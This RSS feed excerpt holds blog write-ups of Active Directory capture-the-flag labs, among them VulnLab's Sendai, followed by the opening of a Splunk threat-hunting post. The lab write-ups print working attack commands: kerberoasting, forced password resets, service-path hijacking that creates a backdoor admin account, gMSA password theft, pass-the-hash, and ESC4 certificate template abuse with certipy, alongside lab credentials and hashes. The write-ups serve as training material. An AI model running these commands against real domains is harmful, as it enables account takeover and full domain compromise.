&#39;hokkaido-aerospace.com/discovery:Start123!@192.168.212.40&#39; -windows-auth</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EFZxQ8-Scx4CG43o0Fij0Q.png" /></figure><p>Even though I logged in as discovery, the database mapped us to guest internally. So discovery runs as guest with no sysadmin rights or hrappdb access which really limits our enumeration, we can check if we can impersonate any accounts, more about mssql attack <a href="https://www.redteamgarage.com/attacking-mssql">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tJrVpdEg9X2H9cs0jk5ZYQ.png" /></figure><p><em>hrappdb-reader</em><strong> </strong>is the user we can impersonate, we can run <strong>EXECUTE AS LOGIN</strong> command to login and run as hrappdb-reader.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cqHV1sKlOGPMeytmTkDeiw.png" /></figure><p>We now have a new user and password so first thing first, I add them to my lists and spray the newly discovered password against the usernames.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ahlZFDg_DY_qBbtL4pEOcg.png" /></figure><p>Again this gets us nowhere so it is time to check BloodHound for new leads.</p><pre>bloodhound-python -d hokkaido-aerospace.com -u hrapp-service -p &#39;Untimed$Runny&#39; -ns 192.168.212.40 -dc dc.hokkaido-aerospace.com -c All --zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dwldIGfo8S1scYlsEmATLQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2iwovUtuhYRdzfuWojqxrA.png" /></figure><p>As you can see in the image above the hrapp-service account has <strong>GenericWrite</strong> over hazel.green who is a member of the <em>TIER2-ADMINS</em> group. This group has <strong>ForceChangePassword</strong> permissions over <strong>molly.smith</strong> who turns out to be a member of <em>TIER1-ADMINS</em> and other sensitive groups like <strong>SERVER OPERATORS</strong> and <strong>WSUS ADMINISTRATORS</strong>.</p><p>There are two ways we can do this with GenericWrite over hazel.green. <strong>First</strong> is Shadow Credentials which involves adding a public key to the msDS-KeyCredentialLink attribute so we can authenticate as her using a certificate. The <strong>second</strong> is to set an SPN on Hazel’s account which makes it kerberoastable for offline hash cracking and we are going to do that using bloodyAD then once the attribute is updated I use GetUserSPNs to request the ticket for her account.</p><pre>bloodyAD --host 192.168.212.40 -d hokkaido-aerospace.com -u hrapp-service -p &#39;Untimed$Runny&#39; set object Hazel.Green serviceprincipalname -v &#39;hello/world&#39;<br><br>impacket-GetUserSPNs -dc-ip 192.168.212.40 &#39;hokkaido-aerospace.com/hrapp-service:Untimed$Runny&#39; -request -request-user &quot;Hazel.Green&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VqjXuU2ieT9Z0VGcGavPSw.png" /></figure><p>Save TGS hash to a file and run hashcat using mode 13100.</p><pre>hashcat -m 13100 hazel.hash /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*GdU_HD4qCdqtpnhHwyemLQ.png" /></figure><p>Now that we have Hazel’s password, we can move forward with the path BloodHound showed us. Since Hazel has ForceChangePassword permissions over molly.smith, we can use <strong>rpcclient</strong> to reset and change the password, you can read about it in this <a href="https://malicious.link/posts/2017/reset-ad-user-password-with-linux/#:~:text=In%20order%20to%20change%20a,Numbers%20Dynamic%20DNS%20Update%20Module">post</a>, but I’ll stick with bloodyAD to keep things simple.</p><pre>bloodyAD --host 192.168.212.40 -d hokkaido-aerospace.com -u hazel.green -p &#39;haze1988&#39; set password molly.smith &#39;Start123!&#39; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cYxl8stOoqeXSdv6z29zWg.png" /></figure><p>I can now effectively sign in as molly.smith. If you recall from BloodHound she is in the Remote Desktop Users group and RDP is running on this server so let’s try logging in.</p><pre>xfreerdp3 /cert:ignore /dynamic-resolution /v:192.168.212.40 /u:molly.smith /p:&#39;Start123!&#39; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*mQ0gkv4NcxmpSF-vZfbeDw.png" /></figure><p>We’re in as molly.smith. Even though SeBackupPrivilege and SeRestorePrivilege show as disabled, being in <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups#server-operators"><strong>Server Operators</strong></a> still gives us the ability to stop and start services, back up and restore files, and mess with the system state. That means we can copy the SAM and SYSTEM hives and extract the local admin hash offline but instead I’m going to add a user using registry and also make molly domain admin.</p><p>Since we have such high privileges, we can modify some service binary paths directly in the registry to execute whatever we want. For example, I can create a backdoor user and add them to the local Administrators group by hijacking the DFSR service.</p><pre>reg add &quot;HKLM\System\CurrentControlSet\services\DFSR&quot; /v ImagePath /t REG_EXPAND_SZ /d &quot;C:\Windows\System32\cmd.exe /c net user goku Password123 /add &amp; net localgroup Administrators goku /add&quot; /f</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4r-CzP6G9Rs_UVMTdbUngg.png" /></figure><p>Goku is now the new local admin. Next I’ll reconfigure the service binary path for WSusCertServer to add molly.smith to the local Administrators group and get to the Domain Admin. By the way this isn’t limited to just these two services, there are others that Server Operators and WSUS Administrators have permissions over like WerSvc and Dfs etc.</p><pre>sc.exe config WSusCertServer binpath= &quot;cmd /c net localgroup Administrators haero\molly.smith /add&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*OjXQJGw1YWcxDSU_iRU_sA.png" /></figure><p>Molly.smith added, now log out and sign in again to get a fresh token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WpqP8me6md_ndJRhqd22bw.png" /></figure><p>As you can see the privileges look a lot different compared to the first time I signed in as molly.smith. Having SeDebugPrivilege and SeImpersonatePrivilege sitting there enabled means the new token has taken effect now I can promote molly to domain admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*xD9sItfSvTHNyEdx3UXp3g.png" /></figure><p>We made it to the domain admin!</p><p>Thank you for reading.<br>Stay curious, stay kind, and keep learning. Until the next pivot…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f52017de938" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnlab: Sendai]]></title>
            <link>https://medium.com/@NullEsc/vulnlab-sendai-08df1720b4ac?source=rss-dbf96f72b63f------2</link>
            <guid isPermaLink="false">https://medium.com/p/08df1720b4ac</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[active-directory-security]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[NullEsc]]></dc:creator>
            <pubDate>Thu, 12 Feb 2026 04:21:40 GMT</pubDate>
            <atom:updated>2026-02-13T00:40:30.712Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*_dVkLAIZnGjCzSzc3B3ujQ.png" /></figure><p>Sendai is a medium rated lab on VulnLab and presents several Active Directory misconfigurations that require methodical enumeration to exploit.</p><p>Beginning with Nmap, I ran a full TCP port scan <strong>-p-</strong> and enabled default scripts <strong>-sC</strong> and service version detection <strong>-sV </strong>to enumerate exposed services, I used <strong>-Pn</strong> to skip host discovery and treat the target as up.</p><pre>sudo nmap -sV -sC -T4 -p- -Pn -oN nmap_sendai 10.10.84.84</pre><pre>PORT      STATE SERVICE               VERSION<br>53/tcp    open  domain                Simple DNS Plus<br>80/tcp    open  http                  Microsoft IIS httpd 10.0<br>|_http-server-header: Microsoft-IIS/10.0<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-title: IIS Windows Server<br>88/tcp    open  kerberos-sec          Microsoft Windows Kerberos (server time: 2026-02-06 02:14:46Z)<br>135/tcp   open  msrpc                 Microsoft Windows RPC<br>139/tcp   open  netbios-ssn           Microsoft Windows netbios-ssn<br>389/tcp   open  ldap                  Microsoft Windows Active Directory LDAP (Domain: sendai.vl, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=dc.sendai.vl<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc.sendai.vl<br>| Not valid before: 2026-02-06T01:57:34<br>|_Not valid after:  2027-02-06T01:57:34<br>|_ssl-date: TLS randomness does not represent time<br>443/tcp   open  ssl/https?<br>| ssl-cert: Subject: commonName=dc.sendai.vl<br>| Subject Alternative Name: DNS:dc.sendai.vl<br>| Not valid before: 2023-07-18T12:39:21<br>|_Not valid after:  2024-07-18T00:00:00<br>|_ssl-date: TLS randomness does not represent time<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http            Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  ssl/ldap<br>| ssl-cert: Subject: commonName=dc.sendai.vl<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc.sendai.vl<br>| Not valid before: 2026-02-06T01:57:34<br>|_Not valid after:  2027-02-06T01:57:34<br>|_ssl-date: TLS randomness does not represent time<br>3268/tcp  open  ldap                  Microsoft Windows Active Directory LDAP (Domain: sendai.vl, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=dc.sendai.vl<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc.sendai.vl<br>| Not valid before: 2026-02-06T01:57:34                                                                                                     <br>|_Not valid after:  2027-02-06T01:57:34<br>|_ssl-date: TLS randomness does not represent time<br>3269/tcp  open  ssl/globalcatLDAPssl?<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=dc.sendai.vl<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc.sendai.vl<br>| Not valid before: 2026-02-06T01:57:34<br>|_Not valid after:  2027-02-06T01:57:34<br>3389/tcp  open  ms-wbt-server         Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=dc.sendai.vl<br>| Not valid before: 2026-02-05T02:06:40<br>|_Not valid after:  2026-08-07T02:06:40<br>|_ssl-date: 2026-02-06T02:16:42+00:00; -2s from scanner time.<br>5985/tcp  open  http                  Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf                .NET Message Framing<br>49664/tcp open  msrpc                 Microsoft Windows RPC<br>49668/tcp open  msrpc                 Microsoft Windows RPC<br>49669/tcp open  ncacn_http            Microsoft Windows RPC over HTTP 1.0<br>49670/tcp open  msrpc                 Microsoft Windows RPC<br>64035/tcp open  msrpc                 Microsoft Windows RPC<br>64038/tcp open  msrpc                 Microsoft Windows RPC<br>64062/tcp open  msrpc                 Microsoft Windows RPC<br>64077/tcp open  msrpc                 Microsoft Windows RPC<br>64094/tcp open  msrpc                 Microsoft Windows RPC<br>Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>|_clock-skew: mean: -2s, deviation: 0s, median: -2s<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled and required</pre><p>We have Domain Controller Core Services on ports 53 <strong>DNS</strong>, 88 <strong>Kerberos</strong>, and 389/636 <strong>LDAP</strong>/<strong>LDAPS</strong> that form the foundation of Active Directory. There is port 3268 and 3269 which are the <strong>Global Catalog services</strong>. Kerberos on port 88 handles domain authentication, while the kpasswd service on 464 is related to <strong>password changes</strong>.</p><p>Then HTTP services <strong>80</strong>/<strong>443</strong> show IIS 10.0 running on port 80 with the default Windows Server page and we should note that port 443 has an expired SSL cert.</p><p>We also have <strong>SMB</strong> on ports 139 and 445 for file sharing and network communication while <strong>RDP</strong> on port 3389 is available for remote desktop access and <strong>WinRM</strong> on 5985 for remote management and those high port numbers are just the usual <strong>RPC</strong> services that show up on any standard Windows machine.</p><p>That last message at the end “<strong><em>Message signing enabled and required</em></strong>” tells us that we cant really do SMB relay attack on this machine because SMB server adds a signature to every SMB packet using the session key, then rejects any unsigned or tampered packets.</p><p>Before I start with the web enumeration I’ll add domain name <strong>sendai.vl</strong> and FQDN <strong>dc.sendai.vl</strong> to the hosts file so that name resolution works correctly for domain-targeted enumeration and Kerberos authentication.</p><p>Now running Gobuster with the -t 40 flag to make the scan faster (default is 10 threads) and the — exclude-length 3490 flag to filter out the default response size which keeps the output clean and only shows useful information I need.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*stgcti3ZxQt3BhY0v_3Rzg.png" /></figure><p>There is a single directory named service so I run Gobuster again with -<strong>x</strong> <strong>aspx,html,txt,bak,zip </strong>extensions against that endpoint and let it run in the background and move on to other quick checks.</p><p>Since there is no obvious web exploit, misconfiguration, and no clear unauthenticated path that leads to an immediate compromise, the priority is to find a foothold by gathering valid usernames or credentials. In a typical Active Directory environment this involves checking for information leakage in web directories, open shares, or pulling user lists through services like <strong>RPC</strong> and <strong>SMB</strong> so we can actually start testing the domain more effectively.</p><p>Also one of the tools I like to run sometimes in early stages is <strong>enum4linux</strong>. It doesn’t always reveal new info but works great for a quick check. Here we can see domain information including the SID and server version.</p><pre>enum4linux-ng -A 10.10.84.84</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*-AH8oWor9qrZ2xILSTpZUg.png" /></figure><p>Now checking SMB share by listing the available shares with a null session.</p><pre>smbclient -L //10.10.84.84 -N</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*JOMcEapV0zwRFy_C6YDZTw.png" /></figure><p>Several shares are visible <strong>config</strong>, <strong>Users</strong>, and <strong>sendai</strong> stand out. The config share returns NT_STATUS_ACCESS_DENIED when attempting to list contents, and Users contains only default directories. The sendai share is fully readable and contains multiple directories including a transfer folder with what appear to be user-specific subdirectories. so I save these usernames to a file called usernames.txt.</p><blockquote><strong>Note:</strong> When you first find domain users, it’s always worth running <strong>impacket-GetNPUsers</strong> for <strong>AS-REP roasting</strong> in case any have Kerberos pre-auth disabled.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*VRBkkMHaMsCFFKNlGde8BQ.png" /></figure><p>More importantly incident.txt in the sendai share says that <strong>IT </strong>team recently expired passwords for accounts with weak credentials following a penetration test. This strongly suggests we should be looking for accounts with expired passwords that require a password change on next login and this can be exploited if blank passwords are accepted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6mE_kTVfSHxGZKH5eY6pxQ.png" /></figure><p>So I have some usernames already but I’ll run NetExec <strong>RID brute</strong> to enumerate domain users which is a reliable way to find usernames without needing any credentials.</p><pre>nxc smb 10.10.84.84 -u &#39; &#39; -p &#39;&#39; --rid-brute</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bzsDIbKTn1fUyHHP8qnHgA.png" /><figcaption>used grep to only print usernames</figcaption></figure><p>With more domain users discovered, I add them to usernames.txt. Following the lead from incident.txt about expired weak-password accounts, I spray an empty password to identify accounts that accept a blank password and are flagged to change it at next logon.</p><pre>nxc smb 10.10.84.84 -u usernames.txt -p &#39;&#39; --continue-on-success</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X9fpJyerNmlnOtdEIn4FcA.png" /></figure><p>Two accounts stand out with<em> </em><strong><em>Elliot.Yates</em></strong> and<strong> <em>Thomas.Powell</em></strong>. This means the domain controller recognises these accounts as valid but is blocking any login until a new password is set. We can use <strong>impacket-changepasswd</strong> to do this.</p><pre>impacket-changepasswd sendai.vl/Thomas.Powell@10.10.84.84 -newpass &#39;Password123&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tqbmDFsXIBCFnRCf98W8gQ.png" /></figure><p>Password changed successfully now a quick test to make sure the change took effect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_YYcT_-xgUTs0YhzjEQdhw.png" /></figure><p>Now that I have valid credentials I’ll check their group memberships to see I can get a shell if they’re part of Remote Management Users or Remote Desktop Users groups since port 5985 and 3389 are open.</p><pre>bloodyAD --host 10.10.84.84 -d sendai.vl -u Thomas.Powell -p &#39;Password123&#39; get membership &#39;Thomas.Powell&#39;<br>bloodyAD --host 10.10.84.84 -d sendai.vl -u Thomas.Powell -p &#39;Password123&#39; get membership &#39;Elliot.Yates&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mb0QEBt9AkglNwdJoUzLYw.png" /></figure><p>Neither user is part of remote access but they are in some interesting group so now I’ll run bloodhound to find out more about the users and domain environment.</p><pre>bloodhound-python -d sendai.vl -u Elliot.Yates -p &#39;Password123&#39; -ns 10.10.84.84  -c All --zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5bIj4cc7vxtxxzpc0uMFYA.png" /></figure><p>Both <em>Elliot</em> and <em>Thomas</em> are part of <strong>support group</strong> which we see above and support group has <strong>GenericAll</strong> (meaning full control) on <strong>ADMSVC group</strong> and also members of ADMSVC group can <strong>ReadGMSAPassword</strong> on <strong>MGTSVC$ </strong>service<strong> </strong>account meaning if we add either <em>Elliot</em> or <em>Thomas</em> to ADMSVC we can retrieve MGTSVC$’s password hash.</p><p>To do that I’ll use bloodyAD to add Elliot to ADMSVC and verify he’s in the group.</p><pre>bloodyAD --host 10.10.84.84 -d sendai.vl -u Elliot.Yates -p &#39;Password123&#39; add groupMember &#39;ADMSVC&#39; &#39;Elliot.Yates&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y3_oxein0-EKiUGvdGE2Kw.png" /></figure><p>Now that Elliot is in ADMSVC, I use bloodyAD’s <strong>get</strong> <strong>object</strong> command with the -<strong>-attr</strong> flag to retrieve MGTSVC$’s hash.</p><pre>bloodyAD --host 10.10.84.84 -d sendai.vl -u Elliot.Yates -p &#39;Password123&#39; get object &#39;MGTSVC$&#39; --attr msDS-ManagedPassword</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*btj0_pACpxmrx01fHJ9NAg.png" /></figure><p>The hash doesn’t crack which makes sense for a managed account, so I tried the next best thing! pass-the-hash and it worked via WinRM.</p><pre>evil-winrm -i 10.10.84.84 -u mgtsvc$ -H aef24dfbb4c6cf2abd6a774bf2d77a70</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*elbwPRLWqIVNxFMg1UJvtQ.png" /></figure><p>After gaining a shell my first step is situational awareness: who am I, what can I do, where can I go. As you can see this account has extremely low privileges and my attempts to enumerate services via CIM or WMI failed with access denied errors. Since I couldn’t query the services directly I moved on to the running processes instead and noticed an interesting entry named “<strong>helpdesk</strong>” which isn’t a Windows component.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*w9EIaZDrpUuestWhi9oZ8g.png" /></figure><p>So since I couldn’t query the services through the usual PowerShell cmdlets I decided to check the registry for <strong>helpdesk</strong> (Services are usually named after their executable).</p><p>Every service in Windows has an entry under the <strong>Services</strong> registry key which includes the <strong>ImagePath</strong> and this tells the system exactly what command or executable to run when that service starts.</p><pre>reg query HKLM\SYSTEM\CurrentControlSet\Services /s /v ImagePath | findstr /i &quot;helpdesk&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DmxJL7-5_nso7C5-ZqMgnw.png" /></figure><p>There’s a username and password in plain text. In fact, checking the registry for all services (which can be overwhelming and a lot) we find the same credential again.</p><pre>reg query HKLM\SYSTEM\CurrentControlSet\Services /s /v ImagePath</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CnoCjxRVn5Q4ShJ7Xg28Hg.png" /></figure><p>With new credentials, I’ll check group membership again to see if I can sign in as a more privileged user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H0QddP3z9nkw2vTtW4W5cA.png" /></figure><p>Ok still no WinRM or RDP access, but this user has more privileges being part of <strong>ca-operators</strong>. Also BloodHound didn’t reveal any clear attack paths, but since ca-operators manages Certificate Authority operations I’ll use <strong>certipy-ad</strong> with clifford.davey’s credentials to scan Active Directory Certificate Services for misconfigured certificate templates.</p><p>Before we move on I’ll briefly explain a few key terms in case you are not familiar with them.</p><p><strong>Active Directory Certificate Services </strong>(AD CS) is a Microsoft server role that lets organisations issue their own digital certificates for authentication, encryption, and logins. AD CS creates an internal Public Key Infrastructure (PKI), which is the framework of policies, roles, and technologies needed to create, distribute, and manage these digital certificates.</p><p><strong>Certificate Authority</strong> (CA) is the server service that issues certificates. It signs them so other systems in the domain can mathematically verify and trust the identity of the bearer.</p><p><strong>Certificate Template</strong> is a predefined ruleset stored in Active Directory as an LDAP object. It defines what a certificate request must look like, what it can be used for (e.g., smart card login vs. web encryption), and what identity fields (like a username) are allowed.</p><p>The <strong>“ESC” vulnerabilities</strong> (ESC1 through ESC8) are a numbered set of commonly used labels for AD CS misconfiguration categories that attackers can abuse for privilege escalation. Each number represents a different class of misconfiguration that may let a low-privileged account obtain a certificate that can be used to authenticate as a more privileged principal.</p><p><strong>The most critical ones here are ESC1 and ESC4:</strong></p><blockquote><strong>ESC1</strong> is when a certificate template is misconfigured so a low-privileged user can enrol a certificate that lets them authenticate as (impersonate) another account.</blockquote><blockquote><strong>ESC4</strong> is when the template object’s permissions (ACL) are weak, allowing an attacker to edit the template settings to introduce ESC1-like conditions and then abuse it.</blockquote><blockquote>In short, ESC1 is a badly designed form and ESC4 is having the rights to change the form, both can lead to domain compromise if you can use them to impersonate a high-privileged identity.</blockquote><p><strong>Enrollment</strong> is the process of requesting and receiving a certificate. For a user to successfully enrol, they must have Enrol permissions in the template’s Access Control List (ACL).</p><pre>certipy-ad find -u &#39;clifford.davey&#39; -p &#39;RFmoB2WplgE_3p&#39; -dc-ip 10.10.84.84 -vulnerable</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qddv7XdJ97X358DXJ7R7jw.png" /></figure><p>Certipy saves the scan results to a text file, let’s have a look:</p><pre>nullesc@kali:~/Desktop/vulnlabs/sendai$ tail -n 24 20260212015548_Certipy.txt<br>    <strong>Permissions</strong><br>      Enrollment Permissions<br>        Enrollment Rights               : SENDAI.VL\Domain Admins<br>                                          SENDAI.VL\Domain Computers<br>                                          SENDAI.VL\Enterprise Admins<br>      Object Control Permissions<br>        Owner                           : SENDAI.VL\Administrator<br>        <strong>Full Control Principals</strong>         : SENDAI.VL\Domain Admins<br>                                          SENDAI.VL\Enterprise Admins<br>                                          <strong>SENDAI.VL\ca-operators</strong><br>        <strong>Write Owner Principals</strong>          : SENDAI.VL\Domain Admins<br>                                          SENDAI.VL\Enterprise Admins<br>                                          <strong>SENDAI.VL\ca-operators</strong><br>        <strong>Write Dacl Principals</strong>           : SENDAI.VL\Domain Admins<br>                                          SENDAI.VL\Enterprise Admins<br>                                          <strong>SENDAI.VL\ca-operators</strong><br>        Write Property Enroll           : SENDAI.VL\Domain Admins<br>                                          SENDAI.VL\Domain Computers<br>                                          SENDAI.VL\Enterprise Admins<br>    [+] <strong>User Enrollable Principals </strong>     : SENDAI.VL\ca-operators<br>                                          SENDAI.VL\Domain Computers<br>    [+] User ACL Principals             : <strong>SENDAI.VL\ca-operators</strong><br>    [!] <strong>Vulnerabilities</strong><br>      <strong>ESC4</strong>                              : <strong>User has dangerous permissions.</strong></pre><p>The Certipy scan shows SendaiComputer is vulnerable to <strong>ESC4</strong> because the ca-operators group has Full Control over the template. This is huge because it means I can actually modify the template rules myself to enable dangerous configurations.</p><pre>certipy-ad template -username &#39;clifford.davey@sendai.vl&#39; -password &#39;RFmoB2WplgE_3p&#39; -dc-ip 10.10.84.84 -template &#39;SendaiComputer&#39; -write-default-configuration</pre><p><strong>certipy-ad template:</strong> tells Certipy we want to manage or modify certificate template objects<br><strong>-template: </strong>specifies the template we are targeting<br><strong>-write-default-configuration: </strong><em>overwrites the template to make it vulnerable to ESC1</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Z_USnGAbQKmU5IbCqSsxA.png" /></figure><p>Template successfully modified, now we request a certificate impersonating the Domain Admin, because the template is misconfigured.</p><pre>certipy-ad req -username &#39;clifford.davey@sendai.vl&#39; -password &#39;RFmoB2WplgE_3p&#39; -dc-ip 10.10.84.84 -ca &#39;sendai-DC-CA&#39; -template &#39;SendaiComputer&#39; -upn &#39;administrator@sendai.vl&#39;</pre><p><strong>req</strong>: tells Certipy we want to request a new certificate from the CA <br><strong>-ca</strong>: specifies the Certificate Authority server that will sign our request.<br><strong>-template</strong>: uses our now-vulnerable template<br><strong>-upn</strong>: the User Principal Name we want the certificate for</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U9JLofXXrP7r2fhU0mp2cw.png" /></figure><p>Certificate successfully issued with administrator@sendai.vl identity. This creates <strong><em>administrator.pfx</em> </strong>(certificate + private key) in the current directory.</p><p>Now that I have the identity file (<strong><em>administrator.pfx</em></strong>), I can use the <strong>auth</strong> command to get the NTLM hash of the administrator.</p><pre>certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.84.84</pre><p><strong>-pfx</strong>: specifies the path to the certificate we just generated<br><strong>-dc-ip: </strong>targets domain controller</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4o7OcI2q31ahm8hsKzdy9g.png" /></figure><p>And we finally got the domain admin hash!</p><pre>evil-winrm -i 10.10.84.84 -u administrator -H cfb106feec8b89a3d98e14dcbe8d087a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cRykgaQzqjVpm2LxxsWAzA.png" /></figure><p>We are in as Domain Admin.</p><p>Thank you for reading.<br>Stay curious, stay kind, and keep learning. Until the next pivot…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=08df1720b4ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat Hunting with Splunk: From Suspicious cmd.exe to Full Compromise]]></title>
            <link>https://medium.com/@NullEsc/threat-hunting-in-splunk-60ce4c93b44d?source=rss-dbf96f72b63f------2</link>
            <guid isPermaLink="false">https://medium.com/p/60ce4c93b44d</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[sysmon]]></category>
            <category><![CDATA[splunk]]></category>
            <dc:creator><![CDATA[NullEsc]]></dc:creator>
            <pubDate>Tue, 06 Jan 2026 16:33:38 GMT</pubDate>
            <atom:updated>2026-01-20T23:11:49.993Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*sJN2Uzh75tQnjBHBC8SDxA.png" /></figure><p>I was building a Active Directory lab for offensive security projects and I thought it would be good to observe some of the attacks and movement from a blue team perspective. To do this I added a few extra components including:</p><p>• Splunk instance<br>• Splunk Universal Forwarders<br>• Splunk Add-on for Sysmon<br>• Splunk Add-on for Microsoft Windows<br>• Sysmon with an XML configuration file I grabbed from <a href="https://github.com/olafhartong/sysmon-modular/blob/master/sysmonconfig.xml">here</a>.</p><p>For this exercise we assume a breach may have already happened in the network, giving an attacker possible initial access. The hypothesis draws from common post-compromise tactics in MITRE ATT&amp;CK, focusing on Command and Scripting Interpreter activity, including PowerShell (T1059.001) and Windows Command Shell (T1059.003).</p><p>In short, if an intruder has been active, they might misuse PowerShell or cmd.exe for non-interactive command execution. This often means spawning it from background processes instead of explorer.exe, which can make it suspicious and worth investigating. They could run commands like Invoke-WebRequest to pull in tools or payloads from external sources (T1105 for ingress tool transfer). Signs include unusual process creations, odd parent-child links in logs, suspicious command lines, or outbound connections.</p><p>MITRE ATT&amp;CK highlights these exact patterns in <a href="https://attack.mitre.org/techniques/T1059/001/">T1059.001</a>: PowerShell with atypical parents, web requests, network activity, or child processes. These help separate malicious actions from normal admin work.</p><p>With that hypothesis in mind, I start by looking at cmd.exe activity first. A quick check to see which log sources are available.</p><pre>| metadata type=sources index=&quot;endpoint&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9QVoADm0CWg2MHfPygy_mQ.png" /></figure><p>We begin with a broad query to get a quick overview of the log source, inspect the available fields, and understand the general structure of the events. Since Event ID 4688 captures process creation activity, pulling it first gives us a clean baseline to work from. In environments with large data volumes, we can use event sampling during this early exploration or narrow the time range, but in this case we’re working with a small dataset so it’s fine.</p><pre>index=&quot;endpoint&quot; source=&quot;xmlwineventlog:Security&quot; EventID=4688</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*qojEwhvqSnCeYWJiIeE2Jg.png" /></figure><p>Since the focus is on cmd.exe activity, I’ll search for process creation events where the NewProcessName ends with cmd.exe. The wildcard lets me match any path that leads to it. To isolate non‑interactive launches, I exclude cases where explorer.exe is the parent process. That leaves cmd.exe executions that didn’t come from a normal user desktop session.</p><pre>index=&quot;endpoint&quot; source=&quot;xmlwineventlog:Security&quot; EventID=4688 NewProcessName=&quot;*\\cmd.exe&quot; <br>ParentProcessName!=&quot;C:\\Windows\\explorer.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sqWLUdg8KY8ENyJSlzwZjw.png" /></figure><p>This gives us 156 events. To narrow the search, I group them by <strong>NewProcessName</strong> to check which binary paths were used.</p><pre>index=endpoint source=&quot;XmlWinEventLog:Security&quot; EventID=4688 NewProcessName=&quot;*\\cmd.exe&quot; ParentProcessName!=&quot;C:\\windows\\explorer.exe&quot;<br>| stats count by NewProcessName</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ONiuRjvoTEHF9n4yeQa39Q.png" 